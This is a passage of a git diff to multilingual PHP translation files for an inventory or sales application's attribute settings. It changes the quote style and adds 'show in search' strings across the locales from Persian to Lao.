ویژگی", - "definition_type_required" => "نوع ویژگی یک فیلد ضروری است", - "definition_unit" => "واحد اندازه گیری", - "definition_values" => "مقادیر مشخصه", - "new" => "ویژگی جدید", - "no_attributes_to_display" => "هیچ موردی برای نمایش", - "receipt_visibility" => "اعلام وصول", - "show_in_items" => "نمایش در موارد", - "show_in_items_visibility" => "موارد", - "show_in_receipt" => "نمایش در رسید", - "show_in_receivings" => "نمایش در دریافت ها", - "show_in_receivings_visibility" => "دریافت", - "show_in_sales" => "نمایش در فروش", - "show_in_sales_visibility" => "حراجی", - "update" => "به روز کردن ویژگی", + 'attribute_value_invalid_chars' => 'مقدار ویژگی نمی تواند حاوی | یا ـ باشد', + 'confirm_delete' => 'آیا مطمئن هستید که می خواهید ویژگی (های) انتخاب شده را حذف کنید؟', + 'confirm_restore' => 'آیا مطمئن هستید که می خواهید ویژگی (های) انتخاب شده را بازیابی کنید؟', + 'definition_cannot_be_deleted' => 'نمی توان ویژگی (های) انتخابی را حذف کرد', + 'definition_invalid_group' => 'گروه انتخاب شده وجود ندارد یا نامعتبر است.', + 'definition_error_adding_updating' => 'ویژگی{0} اضافه نشد یا به روز نمی شود. لطفا گزارش خطا را بررسی کنید.', + 'definition_flags' => 'قابلیت مشاهده ویژگی', + 'definition_group' => 'گروه', + 'definition_id' => 'شناسه', + 'definition_name' => 'افزودن ویژگی', + 'definition_name_required' => 'نام ویژگی یک فیلد ضروری است', + 'definition_one_or_multiple' => '(ویژگی(ها', + 'definition_successful_adding' => 'شما مورد را با موفقیت اضافه کردید', + 'definition_successful_deleted' => 'شما با موفقیت حذف شده اید', + 'definition_successful_updating' => 'شما ویژگی را با موفقیت به روز کردید', + 'definition_type' => 'نوع ویژگی', + 'definition_type_required' => 'نوع ویژگی یک فیلد ضروری است', + 'definition_unit' => 'واحد اندازه گیری', + 'definition_values' => 'مقادیر مشخصه', + 'new' => 'ویژگی جدید', + 'no_attributes_to_display' => 'هیچ موردی برای نمایش', + 'receipt_visibility' => 'اعلام وصول', + 'show_in_items' => 'نمایش در موارد', + 'show_in_items_visibility' => 'موارد', + 'show_in_receipt' => 'نمایش در رسید', + 'show_in_receivings' => 'نمایش در دریافت ها', + 'show_in_receivings_visibility' => 'دریافت', + 'show_in_sales' => 'نمایش در فروش', + 'show_in_sales_visibility' => 'حراجی', + 'show_in_search' => 'نمایش در جستجو', + 'show_in_search_visibility' => 'جستجو', + 'update' => 'به روز کردن ویژگی', ]; diff --git a/app/Language/fr/Attributes.php b/app/Language/fr/Attributes.php index 436273cef..f56bb63ef 100644 --- a/app/Language/fr/Attributes.php +++ b/app/Language/fr/Attributes.php @@ -1,34 +1,36 @@ "La valeur de l'attribut ne doit pas contenir '_' ou '|'", - "confirm_delete" => "Êtes-vous certain de vouloir supprimer le(s) attribut(s) sélectionné(s) ?", - "confirm_restore" => "Êtes-vous certain de vouloir restaurer le(s) attribut(s) sélectionné(s) ?", - "definition_cannot_be_deleted" => "Le(s) attribut(s) sélectionné(s) n'ont pas pu être supprimé(s)", - "definition_invalid_group" => "Le groupe sélectionné n'existe pas ou est invalide.", - "definition_error_adding_updating" => "L'attribut {0} n'a pas pu être ajouté ou mis à jour. Veuillez vérifier le journal d'erreurs.", - "definition_flags" => "Visibilité de l'attribut", - "definition_group" => "Groupe", - "definition_id" => "ID", - "definition_name" => "Ajouter un attribut", - "definition_name_required" => "Le nom de l'attribut est requis", - "definition_one_or_multiple" => "attribut(s)", - "definition_successful_adding" => "Vous avez ajouté l'article avec succès", - "definition_successful_deleted" => "Vous avez supprimé avec succès", - "definition_successful_updating" => "Vous avez mis-à-jour l'attribut avec succès", - "definition_type" => "Type d'attribut", - "definition_type_required" => "Le type d'attribut est requis", - "definition_unit" => "Unité de mesure", - "definition_values" => "Valeurs de l'attribut", - "new" => "Nouvel attribut", - "no_attributes_to_display" => "Aucun attribut à afficher", - "receipt_visibility" => "Reçu", - "show_in_items" => "Afficher dans les articles", - "show_in_items_visibility" => "Articles", - "show_in_receipt" => "Afficher sur le reçu", - "show_in_receivings" => "Afficher dans les réceptions", - "show_in_receivings_visibility" => "Réceptions", - "show_in_sales" => "Afficher dans les ventes", - "show_in_sales_visibility" => "Ventes", - "update" => "Mettre à jour l'attribut", + 'attribute_value_invalid_chars' => 'La valeur de l\'attribut ne doit pas contenir \'_\' ou \'|\'', + 'confirm_delete' => 'Êtes-vous certain de vouloir supprimer le(s) attribut(s) sélectionné(s) ?', + 'confirm_restore' => 'Êtes-vous certain de vouloir restaurer le(s) attribut(s) sélectionné(s) ?', + 'definition_cannot_be_deleted' => 'Le(s) attribut(s) sélectionné(s) n\'ont pas pu être supprimé(s)', + 'definition_invalid_group' => 'Le groupe sélectionné n\'existe pas ou est invalide.', + 'definition_error_adding_updating' => 'L\'attribut {0} n\'a pas pu être ajouté ou mis à jour. Veuillez vérifier le journal d\'erreurs.', + 'definition_flags' => 'Visibilité de l\'attribut', + 'definition_group' => 'Groupe', + 'definition_id' => 'ID', + 'definition_name' => 'Ajouter un attribut', + 'definition_name_required' => 'Le nom de l\'attribut est requis', + 'definition_one_or_multiple' => 'attribut(s)', + 'definition_successful_adding' => 'Vous avez ajouté l\'article avec succès', + 'definition_successful_deleted' => 'Vous avez supprimé avec succès', + 'definition_successful_updating' => 'Vous avez mis-à-jour l\'attribut avec succès', + 'definition_type' => 'Type d\'attribut', + 'definition_type_required' => 'Le type d\'attribut est requis', + 'definition_unit' => 'Unité de mesure', + 'definition_values' => 'Valeurs de l\'attribut', + 'new' => 'Nouvel attribut', + 'no_attributes_to_display' => 'Aucun attribut à afficher', + 'receipt_visibility' => 'Reçu', + 'show_in_items' => 'Afficher dans les articles', + 'show_in_items_visibility' => 'Articles', + 'show_in_receipt' => 'Afficher sur le reçu', + 'show_in_receivings' => 'Afficher dans les réceptions', + 'show_in_receivings_visibility' => 'Réceptions', + 'show_in_sales' => 'Afficher dans les ventes', + 'show_in_sales_visibility' => 'Ventes', + 'show_in_search' => 'Afficher dans la recherche', + 'show_in_search_visibility' => 'Recherche', + 'update' => 'Mettre à jour l\'attribut', ]; diff --git a/app/Language/he/Attributes.php b/app/Language/he/Attributes.php index 53980bc72..527d24ba7 100644 --- a/app/Language/he/Attributes.php +++ b/app/Language/he/Attributes.php @@ -1,34 +1,36 @@ "ערך השדה אינו יכול להכיל ':' או '|'", - "confirm_delete" => "האם אתה בטוח שברצונך למחוק את המאפיינים שנבחרו?", - "confirm_restore" => "האם אתה בטוח שברצונך לשחזר את המאפיינים שנבחרו?", - "definition_cannot_be_deleted" => "לא ניתן למחוק מאפיינים נבחר(ים)", - "definition_invalid_group" => "הקבוצה שנבחרה לא קיימת או אינה תקינה.", - "definition_error_adding_updating" => "לא ניתן להוסיף או לעדכן את הערך {0}. בדוק את יומן השגיאות.", - "definition_flags" => "מאפיין גלוי", - "definition_group" => "קבוצה", - "definition_id" => "מספר זיהוי", - "definition_name" => "הוסף מאפיין", - "definition_name_required" => "מאפיין שם הינו שדה חובה", - "definition_one_or_multiple" => "תכונה (תכונות)", - "definition_successful_adding" => "הוספת בהצלחה את הפריט", - "definition_successful_deleted" => "נמחק בהצלחה", - "definition_successful_updating" => "עדכנת בהצלחה את המאפיין", - "definition_type" => "סוג מאפיין", - "definition_type_required" => "שדה המאפיין הינו שדה חובה", - "definition_unit" => "יחידת מדידה", - "definition_values" => "ערכי המאפיין", - "new" => "מאפיין חדש", - "no_attributes_to_display" => "אין פריטים להצגה", - "receipt_visibility" => "קבלה", - "show_in_items" => "הצג בפריטים", - "show_in_items_visibility" => "פריטים", - "show_in_receipt" => "הצג בקבלה", - "show_in_receivings" => "הצג בקבלת סחורה", - "show_in_receivings_visibility" => "קבלת סחורה", - "show_in_sales" => "הצג במכירות", - "show_in_sales_visibility" => "מכירות", - "update" => "עדכן מאפיין", + 'attribute_value_invalid_chars' => 'ערך השדה אינו יכול להכיל \':\' או \'|\'', + 'confirm_delete' => 'האם אתה בטוח שברצונך למחוק את המאפיינים שנבחרו?', + 'confirm_restore' => 'האם אתה בטוח שברצונך לשחזר את המאפיינים שנבחרו?', + 'definition_cannot_be_deleted' => 'לא ניתן למחוק מאפיינים נבחר(ים)', + 'definition_invalid_group' => 'הקבוצה שנבחרה לא קיימת או אינה תקינה.', + 'definition_error_adding_updating' => 'לא ניתן להוסיף או לעדכן את הערך {0}. בדוק את יומן השגיאות.', + 'definition_flags' => 'מאפיין גלוי', + 'definition_group' => 'קבוצה', + 'definition_id' => 'מספר זיהוי', + 'definition_name' => 'הוסף מאפיין', + 'definition_name_required' => 'מאפיין שם הינו שדה חובה', + 'definition_one_or_multiple' => 'תכונה (תכונות)', + 'definition_successful_adding' => 'הוספת בהצלחה את הפריט', + 'definition_successful_deleted' => 'נמחק בהצלחה', + 'definition_successful_updating' => 'עדכנת בהצלחה את המאפיין', + 'definition_type' => 'סוג מאפיין', + 'definition_type_required' => 'שדה המאפיין הינו שדה חובה', + 'definition_unit' => 'יחידת מדידה', + 'definition_values' => 'ערכי המאפיין', + 'new' => 'מאפיין חדש', + 'no_attributes_to_display' => 'אין פריטים להצגה', + 'receipt_visibility' => 'קבלה', + 'show_in_items' => 'הצג בפריטים', + 'show_in_items_visibility' => 'פריטים', + 'show_in_receipt' => 'הצג בקבלה', + 'show_in_receivings' => 'הצג בקבלת סחורה', + 'show_in_receivings_visibility' => 'קבלת סחורה', + 'show_in_sales' => 'הצג במכירות', + 'show_in_sales_visibility' => 'מכירות', + 'show_in_search' => 'הצג בחיפוש', + 'show_in_search_visibility' => 'חיפוש', + 'update' => 'עדכן מאפיין', ]; diff --git a/app/Language/hr-HR/Attributes.php b/app/Language/hr-HR/Attributes.php index 3213b12e4..a328dd205 100644 --- a/app/Language/hr-HR/Attributes.php +++ b/app/Language/hr-HR/Attributes.php @@ -1,34 +1,36 @@ "", - "confirm_delete" => "", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "", - "definition_flags" => "", - "definition_group" => "", - "definition_id" => "", - "definition_name" => "", - "definition_name_required" => "", - "definition_one_or_multiple" => "", - "definition_successful_adding" => "", - "definition_successful_deleted" => "", - "definition_successful_updating" => "", - "definition_type" => "", - "definition_type_required" => "", - "definition_unit" => "", - "definition_values" => "", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => '', + 'confirm_delete' => '', + 'confirm_restore' => '', + 'definition_cannot_be_deleted' => '', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => '', + 'definition_flags' => '', + 'definition_group' => '', + 'definition_id' => '', + 'definition_name' => '', + 'definition_name_required' => '', + 'definition_one_or_multiple' => '', + 'definition_successful_adding' => '', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => '', + 'definition_type' => '', + 'definition_type_required' => '', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'Prikaži u pretrazi', + 'show_in_search_visibility' => 'Pretraga', + 'update' => '', ]; diff --git a/app/Language/hu/Attributes.php b/app/Language/hu/Attributes.php index 530aba7b4..e6fd036c9 100644 --- a/app/Language/hu/Attributes.php +++ b/app/Language/hu/Attributes.php @@ -1,34 +1,36 @@ "Tulajdonság értéke nem tartalmazhat '_' vagy '|' karaktert", - "confirm_delete" => "Biztosan törli szeretné a kijelölt tulajdonságokat?", - "confirm_restore" => "Biztosan visszaállítja a kijelölt tulajdonságokat?", - "definition_cannot_be_deleted" => "Nem sikerült törölni a kijelölt tulajdonságokat", - "definition_invalid_group" => "A kiválasztott csoport nem létezik vagy érvénytelen.", - "definition_error_adding_updating" => "{0} attribútum nem adható hozzá és nem frissíthető. Kérjük, ellenőrizze a hibanaplót.", - "definition_flags" => "Tulajdonság láthatósága", - "definition_group" => "Csoport", - "definition_id" => "Azonosító", - "definition_name" => "Tulajdonság hozzáadása", - "definition_name_required" => "Tulajdonság név kötelező mező", - "definition_one_or_multiple" => "tulajdonságok", - "definition_successful_adding" => "Sikeresen hozzáadta az elemet", - "definition_successful_deleted" => "Sikeresen törölte", - "definition_successful_updating" => "Sikeresen frissítette a tulajdonságot", - "definition_type" => "Tulajdonság típus", - "definition_type_required" => "Tulajdonság típusa kötelező mező", - "definition_unit" => "Mértkékegység", - "definition_values" => "Tulajdonság értékei", - "new" => "Új tulajdnoság", - "no_attributes_to_display" => "Nincs megjelenítendő elem", - "receipt_visibility" => "Nyugta", - "show_in_items" => "Megjelenítés a termékekben", - "show_in_items_visibility" => "Termékek", - "show_in_receipt" => "Nyugta megjelenítése", - "show_in_receivings" => "Meglenesítés árúátvételekben", - "show_in_receivings_visibility" => "Áruátvételek", - "show_in_sales" => "Megjelenítés az értékesítésekben", - "show_in_sales_visibility" => "Értékesítések", - "update" => "Tulajdonság frissítése", + 'attribute_value_invalid_chars' => 'Tulajdonság értéke nem tartalmazhat \'_\' vagy \'|\' karaktert', + 'confirm_delete' => 'Biztosan törli szeretné a kijelölt tulajdonságokat?', + 'confirm_restore' => 'Biztosan visszaállítja a kijelölt tulajdonságokat?', + 'definition_cannot_be_deleted' => 'Nem sikerült törölni a kijelölt tulajdonságokat', + 'definition_invalid_group' => 'A kiválasztott csoport nem létezik vagy érvénytelen.', + 'definition_error_adding_updating' => '{0} attribútum nem adható hozzá és nem frissíthető. Kérjük, ellenőrizze a hibanaplót.', + 'definition_flags' => 'Tulajdonság láthatósága', + 'definition_group' => 'Csoport', + 'definition_id' => 'Azonosító', + 'definition_name' => 'Tulajdonság hozzáadása', + 'definition_name_required' => 'Tulajdonság név kötelező mező', + 'definition_one_or_multiple' => 'tulajdonságok', + 'definition_successful_adding' => 'Sikeresen hozzáadta az elemet', + 'definition_successful_deleted' => 'Sikeresen törölte', + 'definition_successful_updating' => 'Sikeresen frissítette a tulajdonságot', + 'definition_type' => 'Tulajdonság típus', + 'definition_type_required' => 'Tulajdonság típusa kötelező mező', + 'definition_unit' => 'Mértkékegység', + 'definition_values' => 'Tulajdonság értékei', + 'new' => 'Új tulajdnoság', + 'no_attributes_to_display' => 'Nincs megjelenítendő elem', + 'receipt_visibility' => 'Nyugta', + 'show_in_items' => 'Megjelenítés a termékekben', + 'show_in_items_visibility' => 'Termékek', + 'show_in_receipt' => 'Nyugta megjelenítése', + 'show_in_receivings' => 'Meglenesítés árúátvételekben', + 'show_in_receivings_visibility' => 'Áruátvételek', + 'show_in_sales' => 'Megjelenítés az értékesítésekben', + 'show_in_sales_visibility' => 'Értékesítések', + 'show_in_search' => 'Megjelenítés a keresésben', + 'show_in_search_visibility' => 'Keresés', + 'update' => 'Tulajdonság frissítése', ]; diff --git a/app/Language/hy/Attributes.php b/app/Language/hy/Attributes.php index 377b84f4b..e52e89f11 100644 --- a/app/Language/hy/Attributes.php +++ b/app/Language/hy/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain ':' or '|'", - "confirm_delete" => "Are you sure you want to delete the selected attribute(s)?", - "confirm_restore" => "Are you sure you want to restore the selected attribute(s)?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \':\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to delete the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to restore the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'Ցուցադրել որոնման մեջ', + 'show_in_search_visibility' => 'Որոնում', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/id/Attributes.php b/app/Language/id/Attributes.php index 0d94527a0..d23be2e08 100644 --- a/app/Language/id/Attributes.php +++ b/app/Language/id/Attributes.php @@ -1,34 +1,36 @@ "Nilai Atribut tidak boleh mengandung karakter '_' atau '|'", - "confirm_delete" => "Apakah Anda yakin ingin menghapus atribut tersebut?", - "confirm_restore" => "Apakah Anda yakin ingin mengembalikan atribut tersebut?", - "definition_cannot_be_deleted" => "Tidak bisa menghapus atribut terpilih", - "definition_invalid_group" => "Grup yang dipilih tidak ada atau tidak valid.", - "definition_error_adding_updating" => "Atribut {0} tidak dapat ditambah atau diperbaharui. Silahkan periksa log kesalahan.", - "definition_flags" => "Visibilitas Atribut", - "definition_group" => "Grup", - "definition_id" => "Nomor Id", - "definition_name" => "Tambah Atribut", - "definition_name_required" => "Nama atribut harus diisi", - "definition_one_or_multiple" => "atribut", - "definition_successful_adding" => "Anda telah berhasil menambahkan atribut", - "definition_successful_deleted" => "Anda telah berhasil menghapus", - "definition_successful_updating" => "Anda telah berhasil memperbaharui atribut", - "definition_type" => "Tipe Atribut", - "definition_type_required" => "Tipe Atribut harus diisi", - "definition_unit" => "Satuan Ukuran", - "definition_values" => "Nilai Atribut", - "new" => "Atribut baru", - "no_attributes_to_display" => "Tidak ada Item yang dapat ditampilkan", - "receipt_visibility" => "Struk", - "show_in_items" => "Tampilkan dalam item", - "show_in_items_visibility" => "Item", - "show_in_receipt" => "Tampilkan dalam struk", - "show_in_receivings" => "Tampilkan dalam penerimaan", - "show_in_receivings_visibility" => "Penerimaan", - "show_in_sales" => "Tampilkan dalam penjualan", - "show_in_sales_visibility" => "Penjualan", - "update" => "Perbarui Atribut", + 'attribute_value_invalid_chars' => 'Nilai Atribut tidak boleh mengandung karakter \'_\' atau \'|\'', + 'confirm_delete' => 'Apakah Anda yakin ingin menghapus atribut tersebut?', + 'confirm_restore' => 'Apakah Anda yakin ingin mengembalikan atribut tersebut?', + 'definition_cannot_be_deleted' => 'Tidak bisa menghapus atribut terpilih', + 'definition_invalid_group' => 'Grup yang dipilih tidak ada atau tidak valid.', + 'definition_error_adding_updating' => 'Atribut {0} tidak dapat ditambah atau diperbaharui. Silahkan periksa log kesalahan.', + 'definition_flags' => 'Visibilitas Atribut', + 'definition_group' => 'Grup', + 'definition_id' => 'Nomor Id', + 'definition_name' => 'Tambah Atribut', + 'definition_name_required' => 'Nama atribut harus diisi', + 'definition_one_or_multiple' => 'atribut', + 'definition_successful_adding' => 'Anda telah berhasil menambahkan atribut', + 'definition_successful_deleted' => 'Anda telah berhasil menghapus', + 'definition_successful_updating' => 'Anda telah berhasil memperbaharui atribut', + 'definition_type' => 'Tipe Atribut', + 'definition_type_required' => 'Tipe Atribut harus diisi', + 'definition_unit' => 'Satuan Ukuran', + 'definition_values' => 'Nilai Atribut', + 'new' => 'Atribut baru', + 'no_attributes_to_display' => 'Tidak ada Item yang dapat ditampilkan', + 'receipt_visibility' => 'Struk', + 'show_in_items' => 'Tampilkan dalam item', + 'show_in_items_visibility' => 'Item', + 'show_in_receipt' => 'Tampilkan dalam struk', + 'show_in_receivings' => 'Tampilkan dalam penerimaan', + 'show_in_receivings_visibility' => 'Penerimaan', + 'show_in_sales' => 'Tampilkan dalam penjualan', + 'show_in_sales_visibility' => 'Penjualan', + 'show_in_search' => 'Tampilkan dalam pencarian', + 'show_in_search_visibility' => 'Pencarian', + 'update' => 'Perbarui Atribut', ]; diff --git a/app/Language/it/Attributes.php b/app/Language/it/Attributes.php index d6c997eae..53e41620f 100644 --- a/app/Language/it/Attributes.php +++ b/app/Language/it/Attributes.php @@ -1,34 +1,36 @@ "Il valore dell'attributo non può contenere '_' o '|'", - "confirm_delete" => "Sei sicuro di voler eliminare gli attributi selezionati?", - "confirm_restore" => "Sei sicuro di voler ripristinare l'attributo selezionato?", - "definition_cannot_be_deleted" => "Non riesco a cancellare l'attributo selezionato", - "definition_invalid_group" => "Il gruppo selezionato non esiste o non è valido.", - "definition_error_adding_updating" => "Impossibile aggiungere o aggiornare l'attributo {0}. Si prega di controllare il registro degli errori.", - "definition_flags" => "Visibilità attributo", - "definition_group" => "Gruppo", - "definition_id" => "Id", - "definition_name" => "Aggiungi attributo", - "definition_name_required" => "Nome attributo è richiesto", - "definition_one_or_multiple" => "attributo(i)", - "definition_successful_adding" => "Hai aggiunto il prodotto con successo", - "definition_successful_deleted" => "Cancellato con successo", - "definition_successful_updating" => "Hai aggiornato correttamente l'attributo", - "definition_type" => "Tipo di attributo", - "definition_type_required" => "Il tipo di attribuito è richiesto", - "definition_unit" => "Unità di misura", - "definition_values" => "Valore attributo", - "new" => "Nuovo attributo", - "no_attributes_to_display" => "Nessun elemento da visualizzare", - "receipt_visibility" => "Scontrino", - "show_in_items" => "Visualizza in articoli", - "show_in_items_visibility" => "Articoli", - "show_in_receipt" => "Mostra in ricevuta", - "show_in_receivings" => "Mostra negli incassi", - "show_in_receivings_visibility" => "Ricezione", - "show_in_sales" => "Visualizza in vendite", - "show_in_sales_visibility" => "Vendite", - "update" => "Aggiorna attributo", + 'attribute_value_invalid_chars' => 'Il valore dell\'attributo non può contenere \'_\' o \'|\'', + 'confirm_delete' => 'Sei sicuro di voler eliminare gli attributi selezionati?', + 'confirm_restore' => 'Sei sicuro di voler ripristinare l\'attributo selezionato?', + 'definition_cannot_be_deleted' => 'Non riesco a cancellare l\'attributo selezionato', + 'definition_invalid_group' => 'Il gruppo selezionato non esiste o non è valido.', + 'definition_error_adding_updating' => 'Impossibile aggiungere o aggiornare l\'attributo {0}. Si prega di controllare il registro degli errori.', + 'definition_flags' => 'Visibilità attributo', + 'definition_group' => 'Gruppo', + 'definition_id' => 'Id', + 'definition_name' => 'Aggiungi attributo', + 'definition_name_required' => 'Nome attributo è richiesto', + 'definition_one_or_multiple' => 'attributo(i)', + 'definition_successful_adding' => 'Hai aggiunto il prodotto con successo', + 'definition_successful_deleted' => 'Cancellato con successo', + 'definition_successful_updating' => 'Hai aggiornato correttamente l\'attributo', + 'definition_type' => 'Tipo di attributo', + 'definition_type_required' => 'Il tipo di attribuito è richiesto', + 'definition_unit' => 'Unità di misura', + 'definition_values' => 'Valore attributo', + 'new' => 'Nuovo attributo', + 'no_attributes_to_display' => 'Nessun elemento da visualizzare', + 'receipt_visibility' => 'Scontrino', + 'show_in_items' => 'Visualizza in articoli', + 'show_in_items_visibility' => 'Articoli', + 'show_in_receipt' => 'Mostra in ricevuta', + 'show_in_receivings' => 'Mostra negli incassi', + 'show_in_receivings_visibility' => 'Ricezione', + 'show_in_sales' => 'Visualizza in vendite', + 'show_in_sales_visibility' => 'Vendite', + 'show_in_search' => 'Visualizza nella ricerca', + 'show_in_search_visibility' => 'Ricerca', + 'update' => 'Aggiorna attributo', ]; diff --git a/app/Language/km/Attributes.php b/app/Language/km/Attributes.php index 557e51522..41a6c78c5 100644 --- a/app/Language/km/Attributes.php +++ b/app/Language/km/Attributes.php @@ -1,34 +1,36 @@ "ព៌តមានបន្ថែម មិនអាចមានអក្សរ '_' រឺ '|'", - "confirm_delete" => "តើអ្នកពិតជាចង់លុប ព៌តមានបន្ថែម ដែលបានជ្រើសរើស?", - "confirm_restore" => "តើអ្នកពិតជាដាក់ឡើងវិញនៅ ព៌តមានបន្ថែម ដែលបានជ្រើសរើស?", - "definition_cannot_be_deleted" => "មិនអាចលុបព៌តមានបន្ថែមដែលបានជ្រើសរើស", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "ព៌តមានបន្ថែម {0} មិនអាចថែម រឺកែប្រែបានឡើយ។​ សូមចូលទៅឆែករបាយការណ៍កំហុស។", - "definition_flags" => "ដាក់បង្ហាញព៌តមានបន្ថែម", - "definition_group" => "ក្រុម", - "definition_id" => "លេខរៀង", - "definition_name" => "បន្ថែម ព៌តមាន", - "definition_name_required" => "ឈ្មោះនៃព៌តមានបន្ថែម​ គឺត្រូវការចាំបាច់ត្រូវបំពេញ", - "definition_one_or_multiple" => "ព៌តមានបន្ថែម", - "definition_successful_adding" => "", - "definition_successful_deleted" => "", - "definition_successful_updating" => "", - "definition_type" => "", - "definition_type_required" => "", - "definition_unit" => "", - "definition_values" => "", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => 'ព៌តមានបន្ថែម មិនអាចមានអក្សរ \'_\' រឺ \'|\'', + 'confirm_delete' => 'តើអ្នកពិតជាចង់លុប ព៌តមានបន្ថែម ដែលបានជ្រើសរើស?', + 'confirm_restore' => 'តើអ្នកពិតជាដាក់ឡើងវិញនៅ ព៌តមានបន្ថែម ដែលបានជ្រើសរើស?', + 'definition_cannot_be_deleted' => 'មិនអាចលុបព៌តមានបន្ថែមដែលបានជ្រើសរើស', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'ព៌តមានបន្ថែម {0} មិនអាចថែម រឺកែប្រែបានឡើយ។​ សូមចូលទៅឆែករបាយការណ៍កំហុស។', + 'definition_flags' => 'ដាក់បង្ហាញព៌តមានបន្ថែម', + 'definition_group' => 'ក្រុម', + 'definition_id' => 'លេខរៀង', + 'definition_name' => 'បន្ថែម ព៌តមាន', + 'definition_name_required' => 'ឈ្មោះនៃព៌តមានបន្ថែម​ គឺត្រូវការចាំបាច់ត្រូវបំពេញ', + 'definition_one_or_multiple' => 'ព៌តមានបន្ថែម', + 'definition_successful_adding' => '', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => '', + 'definition_type' => '', + 'definition_type_required' => '', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'បង្ហាញក្នុងការស្វែងរក', + 'show_in_search_visibility' => 'ស្វែងរក', + 'update' => '', ]; diff --git a/app/Language/lo/Attributes.php b/app/Language/lo/Attributes.php index e5bb66296..10bcfa392 100644 --- a/app/Language/lo/Attributes.php +++ b/app/Language/lo/Attributes.php @@ -1,34 +1,36 @@ "ຄ່າແອດທິບິວບໍ່ສາມາດມີ ':' ຫລື '|'", - "confirm_delete" => "ແນ່ໃຈຫຼືບໍທີ່ຈະລືບລາຍການທີ່ເລືອກ", - "confirm_restore" => "ແນ່ໃຈຫຼືບໍທີ່ຈະຄືນຄ່າແອັດທິບິ້ວດັ່ງກ່າວ?", - "definition_cannot_be_deleted" => "ບໍສາມາດລືບລາຍການທີ່ເລືອກໄດ້", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "ລາຍການ {0} ບໍສາມາດເພີ່ມ ຫຼື ແກ້ໄຂ. ກະລຸນາກວດສອບຢູ່ log ຂໍ້ຜິດຜາດ", - "definition_flags" => "ຄູນສົມບັດການເບິ່ງເຫັນ", - "definition_group" => "ກຸ່ມ", - "definition_id" => "ລະຫັດ", - "definition_name" => "ເພີ່ມລາຍການ", - "definition_name_required" => "ຕ້ອງໄດ້ລະບຸຊື່ລາຍການ", - "definition_one_or_multiple" => "ລາຍການ", - "definition_successful_adding" => "ເພີ່ມລາຍການສຳເລັດແລ້ວ", - "definition_successful_deleted" => "ລຶບລາຍການສຳເລັດແລ້ວ", - "definition_successful_updating" => "ແກ້ໄຂລາຍການສຳເລັດແລ້ວ", - "definition_type" => "ປະເພດລາຍການ", - "definition_type_required" => "ປະເພດແອດທີບິວ ຈຳເປັນຕ້ອງໃຊ້", - "definition_unit" => "", - "definition_values" => 